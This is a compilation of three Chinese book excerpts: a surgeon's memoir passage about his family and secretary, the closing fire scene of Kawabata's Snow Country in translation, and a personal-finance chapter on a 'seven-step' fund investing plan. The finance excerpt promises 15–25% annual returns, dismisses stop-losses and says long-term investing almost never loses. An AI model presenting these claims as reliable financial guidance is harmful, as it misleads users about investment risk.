　　不意外的是，我后来在急诊部遇见了自己的灵魂伴侣，当时我正面对一具打开的胸腔，到处是血，绝望即将把我淹没。萨拉是我见过的最善良的急诊护士。她出身英雄家庭，父亲曾在不列颠空战中驾驶喷火战斗机，因此她从不慌乱，做什么都游刃有余。我治疗的那个少年死了，当我无法面对他的家人，是她向他们报告了这个消息。她还替其他医生做过这件事，一次又一次。她是来自非洲的自由灵魂，眼睛里没有流浪汉和政治家的区分——他们都是宝贵的人，都要待以尊重。我毁了与她的恋爱，让她受了很多苦。但是她继续给我忠诚而持久的爱和支持，在过去三十五年中从未间断，这在那些艰难的岁月里尤其宝贵。在杰玛出生十年后，我们有了马克。他是一个运动员和冒险家，后来去了南非学做猎场看守。

　　我虽然有生物化学的学位，博士阶段研究机械心脏的生物工程，但是我不懂电脑，也害怕技术，就连轿车出了一点小问题也不会修。在这方面我很老派，要靠秘书帮忙。过去十年，苏·弗朗西斯（Sue Francis）一直为我保驾护航。她和我都会在早晨六点半之前到办公室。我们的活动板房窗外是一部空调机的嘈杂管道，就像班克西的迪士马主题公园[1]里的末世场景。到了夏天，飞蚂蚁会咬穿窗框；冬天来临，冷雨就从它们咬穿的洞口渗进来。我在这里度过了许多个漫长而忙碌的夜晚，因为生怕病人的情况恶化，只能蜷在一张小沙发上不敢回家。除了病人以外，还有一些举世闻名的人物也访问过这间办公室——克里斯蒂安·巴纳德，登顿·库利，罗伯特·贾维克，甚至还有上届首相大卫·卡梅伦。看到国民保健体系下的一位心脏外科医生的总部竟如此简陋，他们没有一个不感到惊讶。但就是在这样的条件下，苏和我却做成了许多大事。她将我发表的数百篇文章带回家打成了铅字，这本书也是如此。

雪国

摘录

　　翌日下午，女子把浴具放在过道，顺便跑到他的房间里。

　　她正要坐下，岛村突然叫她帮忙找个艺伎来。

　　“你说是帮忙？”

　　“还用问吗？”

　　“真讨厌！我做梦也没想到你会托我干这种事！”

　　她愤然地站在窗前，眺望着县界上的重山叠峦，不觉脸颊绯红了。

　　“这里可没有那种人。”

　　“说谎。”

　　“这是真的嘛！”说着，她突然转过身子，坐在窗台上，“这可绝对不能强迫命令啊。一切得听随艺伎的方便。说真的，我们这个客栈一概不帮这种忙。你不信，找人直接问问就知道了。”

　　“你替我找找看嘛。”

　　“我为什么一定要帮你干这种事呢？”

　　“因为我把你当作朋友嘛。以朋友相待，不向你求欢。”

　　“这就叫作朋友？”女子终于被激出这句带稚气的话来，接着又冒了一句，“你真了不起，居然托我办这种事。”

　　“这有什么关系呢？在山上身体是好起来了。可脑子还是迷迷糊糊，就是现在同你说话吧，心情也还不是那么痛快。”

　　女子垂下眼睛，默不作声。这么一来，岛村干脆露出男人那副无耻相来。她通情达理、百依百顺，大概已经成了一种习惯。她睫眉深黛，那双垂下的眼睛，显得更加温顺，更加娇艳了。岛村望着望着，女子的脸微微左右晃了晃，又泛起了一抹红晕。

　　“就叫个你喜欢的嘛。”

　　“我不是在问你吗？我初来乍到的，哪里知道谁漂亮。”

　　“你是说要漂亮的？”

　　“年轻就可以。年轻姑娘嘛，各方面都会少出差错。不要唠叨得令人讨厌就行。迷糊一点也不要紧，洁净就行了。等我想聊天的时候，就去找你。”

　　“我不再来了。”

　　“胡说。”

　　“真的，不来了。干吗要来呢？”

　　“我想跟你交个朋友，清清白白地，才不向你求欢呢。”

　　“你这种人真少见啊。”

　　“要是发生那种事，明天也许就不想再见到你了。也不会有兴致跟你聊天了。我从山上来到这个村子，难得见人就感到亲热，所以不向你求欢。要知道我是个游客啊。”

　　“嗯，这倒是真的。”

　　“是啊，就说你吧，假如我物色的，是你讨厌的女人，以后你见到我也会感到心里不痛快的。若是你给我挑选，总会好些吧？”

　　“我才不管呢！”她使劲地说了一句，掉转脸又说，“这倒也是。”

　　“要是同女人过夜，那才扫兴呢。感情也不会持久的吧。”

　　“是啊。的确是那么一回事。我出生在港市，可这里是温泉浴场。”姑娘出乎意外地用坦率的口吻说，“客人大多是游客，虽然我还是个孩子，听听形形色色的人的话也会知道，那些人心里十分喜欢你，当面又不说，总使你依依不舍，流连忘返。即使分别之后，也还是那个样子。对方有时想起你，给你写信的，大体都是属于这类人。”

　　这时候，穿着雪裤的叶子打由小街拐到火车站的大路上，急匆匆地跑了过来。

　　“啊，驹姐，行男哥他……驹姐！”叶子喘着粗气，好像小孩子要躲避可怕的东西而搂住母亲一般，抓住了驹子的双肩，“快回去！情况不好了。快！”

　　驹子似乎忍受着肩头的疼痛，闭上了眼睛，脸色刷地变白了。但是想不到她断然摇头说：

　　“我在送客人，我不能回去。”

　　岛村吃惊地说：

　　“还送什么呢，这就行啦。”

　　“不行！我不知道你还来不来。”

　　“会来的，会来的。”

　　叶子什么也没听见似的，焦急地拉住驹子说：

　　“刚才给客栈挂电话，说你到了车站，我就赶来了。行男哥在找你呢。”

　　驹子一动不动地忍耐着，突然把她甩开，说：

　　“不！”

　　这时候，驹子踉踉跄跄地走了两三步，就哇哇地想要呕吐，但什么也没吐出来，眼睛湿润，脸上起了鸡皮疙瘩。

　　叶子紧张起来，木呆呆地望着驹子。但是，由于那副表情过分认真，不知是怒是惊，还是悲伤。像假面具一样，显得非常单纯。

　　她掉过脸来，冷不防抓住岛村的手，一味提高嗓门连求带逼地说：

　　“哦，对不起，请你让她回去吧，让她回去吧！”

　　“好，我叫她回去！”岛村大声说，“快回去吧！傻瓜。”

　　“有你说的吗！”驹子一边对岛村说，一边把叶子从岛村身边推开。

　　岛村正想举手指指站前那辆汽车，可是被叶子用力抓过的手指，有点麻木了。

　　从室内温泉出来，只见一个叫卖的俄国女人坐在大门口。她为什么竟会到这样的穷乡僻壤来呢？岛村走过去一看，净是些常见的日本化妆品和发饰一类的东西。

　　她好像已有四十出头，脸上也起了皱纹，而且十分肮脏，但脖颈露出部分却是白白胖胖的。

　　“你是打哪儿来的？”岛村问道。

　　“打哪儿来？你是问我打哪儿来？”俄国女人不知怎样回答，一边收拾货摊，一边思忖着。

　　她穿的裙子，已经不像是西装，而像是在身上缠着一块不干净的布。她就像一个地道的日本人，背着一个大包袱回去了。不过，脚上还穿着皮靴。

　　在一同目送俄国女人的内掌柜的邀请之下，岛村走到了账房，看见一个身材高大的女子背向他坐在炉边。女子撩起衣服下摆站了起来。她穿着一身带家徽的黑礼服。

　　岛村觉得很面熟，原来就是在滑雪场的宣传照片上看到过的那个艺伎，她身穿赴宴服，下套雪裤，同驹子并肩坐在滑雪板上。她是个丰满而落落大方的中年女人。

　　客栈老板把火筷子放在炉子上，烤着大大的椭圆形豆馅包子。

　　“这东西，吃一个怎么样？是人家办喜事的，尝一口试试吧？”

　　“刚才那个人已经不再操旧业了？”

　　“是啊。”

　　“是一位好艺伎啊！”

　　“到期来辞行了。虽然她曾是个红人儿……”

　　岛村拿起热乎乎的豆馅包子，一边吹着，一边咬了一口，硬皮带点陈味，有几分发酸。

　　“不见得吧。”驹子莽撞地说，“啊，讨厌！我不去梳头了。就是你多嘴多舌，打扰了人家上坟。”

　　“是你固执己见，不愿在坟头见人家吧。”

　　“你不了解我的心情啊。过一会儿有空，我再去洗头。也许会晚些，还是一定要去的。”

　　夜半三点钟了。

　　响起了一阵猛地推开拉门的声音，把岛村惊醒，驹子突然横倒在他身上，胸脯剧烈地起伏，急喘着气说：

　　“我说过要来，不就来了嘛。说过要来就来了嘛。”

　　“看你，喝得醉醺醺的。”

　　“嗯，我说过要来就来了嘛。”

　　“哦，是来啦。”

　　“来这里的路，黑得伸手不见五指，不见五指啊。唔，好难过啊！”

　　“亏你能爬上那段坡路。”

　　“管它呢，哪管得了这许多！”驹子“嗯”地一声，身子猛然滚过来，把岛村压得难受。岛村想爬起来，可因为是忽然被惊醒，摇晃两下，又倒了下去，头枕在热乎乎的东西上，他不禁吃了一惊。

　　“简直像一团火，傻瓜！”

　　“是吗，是火枕嘛，会把你烧伤的啊！”

　　“真的。”岛村闭着眼睛，一阵热气沁进脑门，他这才直接感受到自己的存在。随着驹子的激烈呼吸，所谓现实的东西传了过来。那似乎是一种令人依恋的悔恨，又像是一颗只顾安然等待着复仇的心。

　　“我说过要来就来了嘛。”驹子一个劲地重复着这句话，“既然来过了，这就回去。我洗头去啦。”

　　不一会儿，她爬了起来，咕嘟咕嘟地喝起水来。

　　“这副样子，怎能回去呢。”

　　“我要回去。我有伴嘛。洗澡用具哪儿去啦？”

　　岛村站起来开亮了电灯。驹子用双手捂住脸，伏在榻榻米上。

　　“讨厌！”

　　她身穿元禄袖的华丽夹衣，披着一件黑领睡衣，系上了窄腰带。因此看不见衬衫的领子，醉得连赤脚的脚板都泛红了，好像要躲藏起来似的缩着身子。这副模样显得特别可爱。

　　岛村即使没有唤驹子，不用说驹子也是常常来找他的。

　　他去溪流尽头观赏红叶，曾打驹子家门前走过，那时候，她听见车声，断定又是岛村，便跑到外面来看。岛村却连头也不回。她就说他是个薄情郎。她只要被唤到客栈，没有不去岛村的房间的。去浴室的时候，也顺便走来了。若有宴会，就提前一个钟头来，一直在他那里玩到女佣来叫她。她还常常从宴会上偷偷溜出来，对着梳妆镜修整面容。

　　“我这就去做工，打算赚点钱。噢，赚钱，赚钱啊！”说罢，她站起来就走了。

　　不知为什么，她回去的时候，总爱把带来的拨子、短和服这类东西撂在他的房间里。

　　“昨晚回来，没烧热水。在厨房叽里咣当地摸了半天，用早餐剩下的黄酱汤泡了一碗饭，就着咸梅吃，凉飕飕的。今早没人来叫我，醒来一看，已是十点半。本来是想七点起来的，却起不来了。”

　　她把这样一些琐事，以及转了哪几家客栈、宴席上的情形等都一五一十地向他说了一遍。

　　“我还会来的。”她一边喝水，一边站起来说，“或许不来了。三个人要陪三十人，忙得不可开交，溜不出来呢。”

　　然而，过了不多久，她又来了。

　　“真够呛啊！三十个客人，只有三个人陪。她们又是一老一少，我可够呛呢。那些客人太小气了，一定是什么旅行团。三十人嘛，至少要有六个人陪才是。我现在去，喝几杯吓唬吓唬他们。”

　　每天都这样，会变成什么样子呢？就连驹子也不免感到恨不能把自己藏起来。但那副近似孤独的样子，反而显得她越发娇媚了。

　　“走廊响起声音，多难为情啊！就是悄悄走，人家也会晓得的呀。我打厨房经过，人家就取笑我说：‘阿驹，又到山茶厅去啦？’真想不到我还在这种事情上顾忌人家多心啊。”

　　“地方小，不好办吧？”

　　“人家都已经知道了。”

　　“那就坏了。”

　　“是啊。在这种小地方，一有点坏名声，可就完了。”驹子马上抬头笑眯眯地说，“唔，没关系，我们到哪儿都可以干嘛。”

　　这种充满真情实意的口气，使坐食祖产的岛村感到非常意外。

　　“说真的，在哪儿干还不是一样。何必想不开呢。”

　　岛村从她那种无所谓的语调中，听出了她的心声。

　　“那样就行了。因为唯有女人才能真心实意地去爱一个人啊。”驹子脸上微微发红，她垂下了头。

　　县界上的群山，红锈色彩更加浓重了。在夕晖晚照下，有点像冰凉的矿石，发出了暗红的光泽。这时间正是客栈赏枫客人最多的时候。

　　“大概本地人要举行宴会，今晚不能来了。”当天晚上驹子来到岛村的房间告诉他一句，又走了。不久大厅里响起了鼓声，不时扬起女人的尖叫声。在一片喧嚣中，意外地从近处传来清越的嗓音。

　　“对不起，里面有人吗？”叶子喊道，“这个，驹姐让我送来的。”

　　叶子立在那儿，像邮差似的伸手将纸条递过来，然后慌忙跪坐下来。当岛村打开这张折叠的纸条时，叶子已经杳无踪影。岛村连一句话也没说上。

　　白纸上只歪歪斜斜地写着这样几个字：“今晚闹得很欢，我喝酒了。”

　　但是，没过十分钟，驹子就拖着碎乱的脚步走了进来。

　　“刚才那孩子送什么来没有？”

　　“送来了。”

　　“是吗？”她快活地眯缝着一只眼睛说，“唔，真痛快。我说去叫酒，就偷偷地溜了出来。被掌柜发现，挨了一顿骂。酒真好呢，即使挨骂，我也不在乎。啊，真讨厌，一来到这里就醉了。我还得去啊。”

　　“你连指尖都泛起好看的颜色呢。”

　　“呃，做生意嘛。那姑娘说了什么啦？惊人的妒忌之火在燃烧，你知道吗？”

　　“谁？”

　　“要烧死人的。”

　　“那位姑娘也在帮忙吗？”

　　“她端着酒壶，站在走廊犄角上，直勾勾地盯着，眼睛闪闪发光，你喜欢那种眼睛吧？”

　　“她一定是觉得这场面下流，才这么盯着的吧。”

　　“所以我写了张字条让她送来。我想喝水，请给我一点水。谁下流？女人若不曾坠入情网是不知道谁下流的呀。我是醉了吗？”

　　驹子打了个趔趄，一把抓住梳妆台的边，定睛照了照镜子，然后挺直身子，撩了撩衣服的下摆就走了出去。

　　过了一会儿，喧闹声骤然沉寂下来。大概是宴席散了吧。间或听到远处传来杯盘的碰撞声。岛村心想，驹子也许被客人带到别的客栈，参加第二场宴会去了吧。这时，叶子又送来了驹子的一张折叠起来的纸条。

　　纸条上面写道：“山风厅作罢了，现在去梅花厅，回家时顺便去看你。晚安。”

　　车子突然放慢了速度。显然是司机早已了解岛村和驹子的关系，有意无意地把车子放慢了。

　　岛村无端回过头，朝着与驹子相反的方向望去。岛村坐来的那辆汽车的车辙，清晰地留在雪地上，在星光下，意外地拖到很远的地方。

　　车子来到了驹子跟前。只见驹子刚闭了闭眼睛，冷不防地向汽车扑上来。车子没有停下，仍按原先的慢速爬上了坡道。驹子弓着腰，抓住车门上的把手，跳到车门外的踏板上。

　　驹子就像被吸引住似地猛扑了上来，岛村觉得仿佛有一种温暖的东西轻轻地贴近过来，因而他对驹子的这种举动并没有感到不自然或者危险。驹子像要抱住车窗，举起了一只胳膊。袖口滑落下来，露出了长衬衣的颜色。那色彩透过厚厚的窗玻璃，沁入岛村冻僵了的眼睑。

　　驹子把额头紧贴在窗玻璃上，尖声喊道：

　　“到哪儿去了？喂，你到哪儿去了？”

　　“多危险呀，简直是胡闹！”岛村虽也高声回答，但却是一种甜蜜的戏谑。

　　驹子打开车门，侧身倒了进去。但是，这时车子已经停住，来到山脚下了。

　　“我说，你到哪儿去了啊？”

　　“嗯，这个……”

　　“哪儿？”

　　“也说不上到哪儿。”

　　驹子理了理衣裳下摆，那举止十足是艺妓的派头，岛村突然觉得有点新奇。

　　司机坐着一动也不动。车子已经走到街的尽头，停了下来。岛村觉得就这样坐在车上，实在滑稽，于是说道：“下车吧。”

　　驹子把手放到岛村那只放在膝头的手上。

　　“唉呀，真冷啊！瞧，多冷啊！你为什么不带我去呢？”“对，应该带你去……”

　　“这时候说带我去，你这人真有意思。”

　　驹子欢快地笑着，爬上了有陡峻石磴的小路。

　　“我是看着你出去的。大概是两三个钟头以前，对吧？”“唔。”

　　“听见汽车声，我就出来看了。到外面来看了。你连头也没回，对吧？”

　　“嗯。”

　　“你没看后面，为什么不回头看看呢？”

　　岛村有点惊讶。

　　“真不知道我在送你吗？”

　　“不知道。”

　　“瞧你。”驹子还是高兴得笑眯眯的。然后，她把肩膀靠了过来。“为什么不带我去？你变得冷淡了。讨厌！”报火警的钟声突然响了起来。

　　两人回头望去。

　　“着火，着火啦！”

　　“着火啦！”

　　火势从下面村子的正中央蹿了上来。

　　驹子喊了两三声什么，一把抓住了岛村的手。

　　火舌在滚滚上升的浓烟中若隐若现。火势向旁边蔓延，吞噬着周围的房檐。

　　“是什么地方？不是在你原来住过的师傅家附近吗？”“不是。”

　　“是在哪一带呢？”

　　“在上头一点，靠近火车站那边。”

　　火焰冲过屋顶，腾空而起。

　　“你瞧，是蚕房呀。是蚕房呀！你瞧，你瞧，蚕房着火了。”驹子把脸颊压在岛村的肩上，接连地说：“是蚕房，是蚕房呀！”

　　火势燃得更旺了。从高处望下去，辽阔的星空下，大火宛如一场游戏，无声无息。尽管如此，她却感到恐惧。有如听见一种猛烈的火焰声逼将过来。岛村抱住了驹子。“没什么可怕的。”

　　“不，不，不！”驹子摇摇头，哭了起来。她的脸贴在岛村掌上，显得比平时小巧玲珑。绷紧的太阳穴在忒忒地跳动着。

　　看见着火，驹子就哭了起来。可是她哭什么呢？岛村并没怀疑，还是搂抱着她。

　　驹子突然不哭了，她把脸从岛村肩上抬了起来。

　　“哎哟，对了，今晚蚕房放电影，里面挤满了人，你……”

　　“那可就不得了啦！”

　　“一定会有人受伤，有人烧死啊！”

　　两人听见上面传来一片骚乱声，就慌慌张张地登上石磴。抬头一看，高处客栈二三楼房间的拉窗差不多都打开了，人们跑到敞亮的走廊上观看着火场面。庭院一个角落里，一排菊花的枯枝，说不清是借着客栈的灯光还是星光，浮现出它的轮廓，令人不禁感到那上面映着火光。就在那排菊花后面，也站着一些人。三四个客栈伙计从岛村他俩头顶上跌跌撞撞地滚落下来。驹子提高嗓门问：

　　“喂，是蚕房吗？”

　　“是蚕房。”

　　“有人受伤吗？有没有人受伤？”

　　“正一个个地往外救呐。来电话说是电影胶片忽拉一声烧着了，火势蔓延得很快。喏，你瞧。”伙计迎头碰上他们两人，只挥了挥一只胳臂，就走了。

　　“听说人们正把孩子一个个从二楼往下扔呐。”

　　“唉，这可怎么得了。”

　　驹子好像追赶着伙计似地走下石磴。后来下楼的人都跑到她的前头去了。她不由自主地跟着跑了起来。岛村也随后跟上。

　　在石磴下面，火场被房子挡住，只能看见火舌。火警声响彻云霄，令人越发惶恐，四外乱跑。

　　“结冰了，请留神，滑啊！”驹子停住了脚步，回头看了看岛村，趁机说：“对了，你就算了，何必一块去呢。我是担心村里的人。”

　　她这么说，倒也是的。岛村感到失望。这时才发现脚底下就是铁轨，他们已经来到铁路岔口跟前了。

　　“银河，多美啊！”

　　驹子喃喃自语。她仰望着太空，又跑了起来。

　　人群“啊”的一声倒抽了一口气，只见有个女人从上面掉落下来。

　　由于蚕房兼作戏棚，所以二楼设有不怎么样的观众席。虽说是二楼，但很低矮。从这二楼掉落到地面只是一瞬间的事，可是却让人有足够的时间用肉眼清楚地捕捉到她落下时的样子。也许这落下时的奇怪样子，就像个玩偶的缘故吧，一看就晓得她已经不省人事。落下来没有发出声响。这地方净是水，没有扬起尘埃。正好落在刚蔓延开的火苗和死灰复燃的火苗中间。

　　消防队员把一台水泵向着死灰复燃的火苗，喷射出弧形的水柱。在那水柱前面突然出现一个女人的身体。她就是这样掉下来的。女人的身体，在空中挺成水平的姿势。岛村心头猛然一震，他似乎没有立刻感到危险和恐惧，就好像那是非现实世界的幻影。僵直的身体在半空中落下，变得柔软了。然而，她那副样子却像玩偶似的毫无反抗，由于失去生命而显得自由了。在这瞬间，生与死仿佛都停歇了。如果说岛村脑中也闪过什么不安的念头，那就是他曾担心那副挺直了的女人的身躯，头部会不会朝下，腰身或膝头会不会折曲。看上去好像有那种动作，但是她终究还是直挺挺地掉落下来。

　　“啊！”

　　驹子尖叫一声，用手掩住了两只眼睛。岛村的眼睛却一眨不眨地凝望着。

　　岛村什么时候才知道掉落下来的女人就是叶子呢？

　　实际上，人们“啊”的一声倒抽一口冷气和驹子“啊”的一声惊叫，都是在同一瞬间发生的。叶子的腿肚在地上痉挛，似乎也是在同一刹那。驹子的惊叫声传遍了岛村全身。叶子的腿肚在抽搐。与此同时，岛村的脚尖也冰凉得痉挛起来。一种无以名状的痛苦和悲哀向他袭来，使得他的心房激烈地跳动。

　　叶子的痉挛轻微得几乎看不出来，而且很快就停止了。

　　在叶子痉挛之前，岛村首先看见的，是她的脸和她的红色箭翎花纹布和服。叶子是仰脸掉落下来的。衣服的下摆掀到一只膝头上。落到地面时，只有腿肚痉挛，整个人仍然处在昏迷状态。不知为什么，岛村总觉得叶子并没有死。她内在的生命在变形，变成另一种东西。

　　叶子落下来的二楼临时看台上，斜着掉下来两三根架子上的木头，打在叶子的脸上，燃烧起来。叶子紧闭着那双迷人的美丽眼睛，突出下巴颏儿，伸长了脖颈。火光在她那张惨白的脸上摇曳着。

　　岛村忽然想起了几年前自己到这个温泉浴场同驹子相会，在火车上山野的灯火映在叶子脸上时的情景，心房又扑扑跳动起来。仿佛这一瞬间，火光也照亮了他同驹子共同度过的岁月。这当中也充满一种说不出的苦痛和悲哀。

　　驹子从岛村身旁飞奔出来。这与她捂住眼睛惊叫差不多在同一瞬间，也正是人们“啊”的一声倒抽冷气的时候。

　　驹子拖着艺伎那长长的衣服下摆，在被水冲过的瓦砾堆上，踉踉跄跄地走过去，把叶子抱回来。叶子露出拼命挣扎的神情，耷拉着她那临终时呆滞的脸。驹子仿佛抱着自己的牺牲和罪孽一样。

　　人群的喧嚣声渐渐消失，他们蜂拥上来，包围住驹子她们两人。

　　“让开，请让开！”

　　岛村听见了驹子的喊声。

　　“这孩子疯了，她疯了！”

　　驹子发出疯狂的叫喊，岛村企图靠近她，不料被一群汉子连推带搡地撞到一边去。这些汉子是想从驹子手里接过叶子抱走。待岛村站稳了脚跟，抬头望去，银河好像哗啦一声，向他的心坎上倾泻了下来。

力哥说理财：手把手教你玩转基金

七步定投策略

核心：“2457”

　　七步定投策略的核心可以用 2457 这四个数字来表示：

　　“2”表示把七步定投策略的思想运用到市场实践中，长期看，能帮你实现 15%～25% 的年化回报，平均能获得 20% 左右的回报。再牛的定投策略也不能让你一夜暴富，理财师不是魔术师，力哥也一样，只能帮你掌握一套能受用终生的、在风云莫测的投资市场中屹立不倒的投资思想。

　　“4”，指的是七步定投策略必须遵循的四大原则。

　　第一，长期坚持定期不定额投资，这是定投的根本，如果无法长期坚持投资，那一切都是浮云，这个最重要的原则力哥已经一再强调了。

　　第二，长期坚持止盈不止损投资。力哥在前面的内容中也说过，止损策略是力哥最不推荐的。在力哥的投资思想中，只要你在投资之前就做好了完整的计划，你投下去的每一分钱都是经过七步定投思想检验，能经得起理性推敲的，那“止损”这两个字从此以后就可以从你的字典里消失了。不止损意味着你能够克服恐惧，止盈意味着你能够战胜贪婪。

　　“克服恐惧，战胜贪婪”——投资赚钱的精髓无非就是这八个字，而七步定投策略则能帮助你更轻松地战胜人性的弱点，做到这八个字。

　　第三，只问贵贱，不看趋势。对未来趋势的预判永远比对当下价值的判断难得多。但也正因为我们知道很难预测未来的趋势，所以才放弃预测，安心定投。一旦你对趋势进行了预测，你的主观情绪就会干扰你的投资决策，因为你的预测可能会错，最后有可能会让整套定投体系崩溃。所以，最安全的方法就是永远只在便宜的时候买入，在贵的时候卖出。便宜的时候哪怕趋势很糟糕，也要坚定买入；贵的时候哪怕趋势还在向上，也要坚定卖出。

　　第四，越跌越买，越涨越卖。这也是力哥之前强调过的，也是智能定投能战胜普通定投的最重要的原因，而七步定投策略能把这个定投原则落到实处。

　　“5”，指的是七步定投策略内部所包含的五种具体投资策略，分别是：全天候配置策略、低估值择时轮动策略、价值平均策略、网格交易策略和动态再平衡策略，五个策略搭配使用，形成“五位一体”的乘数效应。它们就像投资收益放大器一样，让你获得稳健的超额定投收益。

　　注意，这五种投资策略都不是力哥原创的，但力哥是第一个把它们融合在一起使用的。

　　最后的“7”自然就是七步定投策略所指的七个步骤。

第一步

　　完成风险偏好测试，搞清自己到底是哪类投资者。每个人对风险的偏好不同，有的人信奉“富贵险中求”，愿意冒比较高的风险去博取相对更高的投资回报；但有的人胆子比较小，信奉“青菜萝卜保平安”，不求大富大贵，但求安安稳稳，在投资的问题上，不求有功，但求无过。

　　一个人的投资风险偏好，由低到高依次是保守型、稳健性、平衡性、进取型和激进型。越是偏向激进的投资者，可承受的投资风险越高，他的资产中可以拿来做定投的比例就越高。

第二步

　　全面统计家庭财务信息，搞清楚到底有多少钱可用于金融投资。理财的第一步是学会记账，而投资的第一步则是非常清晰地统计出你的全部家庭资产、负债状况以及每月的收支结余状况。这是你制定理财规划或者说制定定投计划的基本前提条件，如果在你脑子中连这些家中的基本财务信息都是一笔糊涂账，那你就根本没办法好好理财，更不可能制订出定投计划了。

第三步

　　做好家庭资产配置方案。这又可以进一步细分为三小步。

　　资产配置的第一小步是在你的金融资产中提取一定的生活紧急备用金，以备不时之需，放在基本没有亏损风险同时又有极高流动性的货币基金中。

　　普通工薪阶层家庭的备用金是 3～6 个月的家庭支出金额。这部分钱要永远放在紧急备用金账户中雷打不动，如果家庭遭遇突发状况动用了这笔钱，必须要在获得新的收入后，第一时间把这部分资金填补回去。紧急备用金之外的其他资产，才可以放在投资规划中统一安排调度。

　　第二小步是购置合适的保险。

　　从在未来不出险的情况下，保险公司会不会把钱再还给你的角度看，保险可以分为消费型保险和储蓄型保险两类，前者是不出险这钱就打水漂了，后者则是不出险也能把钱还给你。

　　保险是理财中最复杂的一块知识体系，这里只说一个原则，那就是不建议会理财的人买储蓄型保险，只需要买比较便宜的消费型保险让你获得基本保障，剩下的钱应该自己拿去投资，获得更高的投资回报；不会理财或者没时间理财的人，则可以考虑储蓄型保险，相当于你花钱雇别人帮你理财。储蓄型保险需要以保险的现金价值来计入你的资产中，而消费型保险不属于资产，无须计入，但如果你每年都要缴纳一笔消费型保险的保费，那这笔支出也需要提前预留出来，不能算入可以长期投资的资金中。

　　第三小步是把剩下的钱分成短期要用的钱和长期不用的钱这两大类。

　　其中未来 3 年内可能或者必然会出现的家庭大额消费支出，必须放入短期要用的钱这个口袋里，剩下多余的钱，才能归入长期不用的钱这个口袋。只有长期不用的钱才可以进入包括定投在内的长期资产配置计划中，而短期要用的钱就必须要放入流动性和安全性都比较高的投资产品中。

　　在许多技术派股民看来，别说 3 年了，3 个月都算是长线投资了；而在许多基本面派股民看来，1 年以上的投资就可以看成长期投资了。可力哥怎么把 3 年以内的投资都算成短期投资呢？

　　一是因为从投资者的需求侧来看，3 年内的消费计划，许多人是可以提前预估到的。

　　比如当年力哥和力嫂谈了几年恋爱以后，双方都有走入婚姻的意愿，这时候我就要预想到未来几年内必然会出现的结婚买房支出。我记得很清楚，我和力嫂是在 2010 年上海举办世博会的时候，请双方家长见面并确定要结婚的，但直到 2011 年才正式领了结婚证并买到满意的婚房；因为订婚宴场地一般至少要提前 1 年，所以又过了一年，到 2012 年才正式完婚。如此看来，从力哥最初开始进行结婚消费规划到全部完成这一系列配套的消费行为，前后用时超过 2 年。

　　再比如说孩子出生以后，往往在孩子两三岁的时候，一些经济条件比较好的父母就会产生为孩子换一套学区房的想法，但此时距离孩子真正上小学还有四五年时间，所以从开始产生买房意愿到实施买房计划，前后可能也会有两三年的时间差，这些都是你可以提前预料到的。

　　另外像买车、出国旅行、留学等可以预期的大额消费，也要提前把钱留出来。而更长远的消费需求，我们能提前预料到的一般只有父母的养老和看病支出，自身未来的养老支出和子女未来的教育支出，这些消费都属于长期消费，不用那么着急提前把钱留出来。

　　对于突发的意外消费需求，比如突患重病或者遭遇车祸，这种风险就可以靠我们提前购买的健康险和意外险来抵御，不用太过担心。

　　而突发的创业资金需求，不属于消费行为，而是属于高风险投资行为，应该算在长期投资规划中进行统筹考量，也不需要提前预留出来。

　　换个角度，从投资市场的供给侧来看，3 年的投资期限同样是一个非常重要的分水岭。力哥之前介绍保本基金时说过，保本周期大多是 3 年，这是因为从保本基金的设计原理上看，3 年以内的投资依然存在一定的风险，想要在保本和尽量提高潜在收益之间进行平衡，把保本周期设定在 3 年是统筹考虑流动性、安全性和收益性这三个方面之后，找到的一个比较合适的平衡点。

　　而从基金定投的角度看，坚持 3 年以上的智能定投，几乎不太可能会出现亏损的情况。而 3 年以内的定投，市场有可能会出现只跌不涨或波动极小的情况，依然可能会造成一定的浮亏。

　　所以 3 年以内要用到的钱，不能参与定投等长期投资，只能用于购买货币基金、纯债基金这种流动性和安全性都没有太大问题的投资品种，或者是根据你预期的消费时间，购买相应投资期限的定期理财产品，比如银行理财产品、券商理财产品、网贷产品、信托产品等。

第四步

　　设计存量资金定投计划。直到这一步，我们才真正进入了七步定投的正题。正题部分可以分成四个部分，分别是计划定投阶段、布局定投阶段、维持定投时期和调整定投阶段。每一个阶段对应七步定投策略中的一个步骤，所以第四步对应的就是计划定投阶段。

　　首先，存量资金定投这个概念是力哥原创的。因为在传统的定投理念中，定投的钱就是你每个月的工资结余，比如你每个月赚 5000 元，花 3000 元，还剩 2000 元拿去定投。但问题是现实世界并非如此，只有“一穷二白”刚刚大学毕业的年轻人才符合这个假设，如果我已经是一名 40 岁的成功人士，家里攒了几百万元资产，那这套赚 5000 元投 2000 元的原理就不适合我了。

　　所以我们必须把钱分成两部分：一部分是你现在手里已经掌握的资金，比如，去掉房子这类不动产及车子、金银首饰、古董字画收藏品之类很难变现的固定资产之后，你可以动用的金融资产假设一共有 110 万元，而在满足了现金口袋、保险口袋和消费口袋这三个口袋的需求之后，假如你还有 100 万元可以装进储蓄口袋用于长期投资，那这 100 万元就是你现在可以马上用于定投的理论上的最高金额，这叫作存量资金定投；而你接下去每个月工作还能赚钱，这部分收入结余就是你今后可以继续用于定投的本钱，这就叫作增量资金定投。所以在从零开始操作七步定投策略时，我们必须先从你已经有的存量资金入手设计。

　　如何设定存量资金投资比例？

　　可长期投资的资金，理论上都可以用作定投，但这么做风险太高。虽然力哥的七步定投策略已经对风险进行了高度分散，但定投的标的终究是风险极高的指数基金，所以还是需要做一个合理配比，把钱分成两大类：一类是以定投为策略投资股票型基金这种权益类资产，另一类投资那些固定收益资产。

　　权益类资产和固定收益资产的比例应该如何设定呢？这主要取决于两个因素，也就是你在之前第一步和第二步工作时得出的数据——你的风险偏好和资产规模。

　　风险偏好是一个偏主观的考察维度，而资产规模则是一个客观的考察维度。风险偏好越高，越是不怕波动，越是追求高收益，用于定投的资金比例就可以设置得越高；反之，则需要设置得低一些。而资产规模越大，越经受不起亏损，可用于定投的资产占比就要越低；反之亦然。这就叫“光脚的不怕穿鞋的”，穷人可以搏一把，因为本来就一无所有，输了大不了从头再来，增值比保值重要得多；但土豪可万万搏不得，因为已经拥有很多，保值比增值更重要。

　　把这两个因素进行排列组合，最后就形成了表 27.1。

　　表 27.1 不同风险偏好和资产规模投资者对应的定投资本占可长期投资资本比例

　　

　　在资产规模相同的情况下，从保守型到激进型的投资者，风险偏好每提高一个等级，最高可投资资金比例相应可以提高 5%，所以保守型投资者和激进型投资者相比，投资比例就差了 20%。

　　资产规模的几个类别

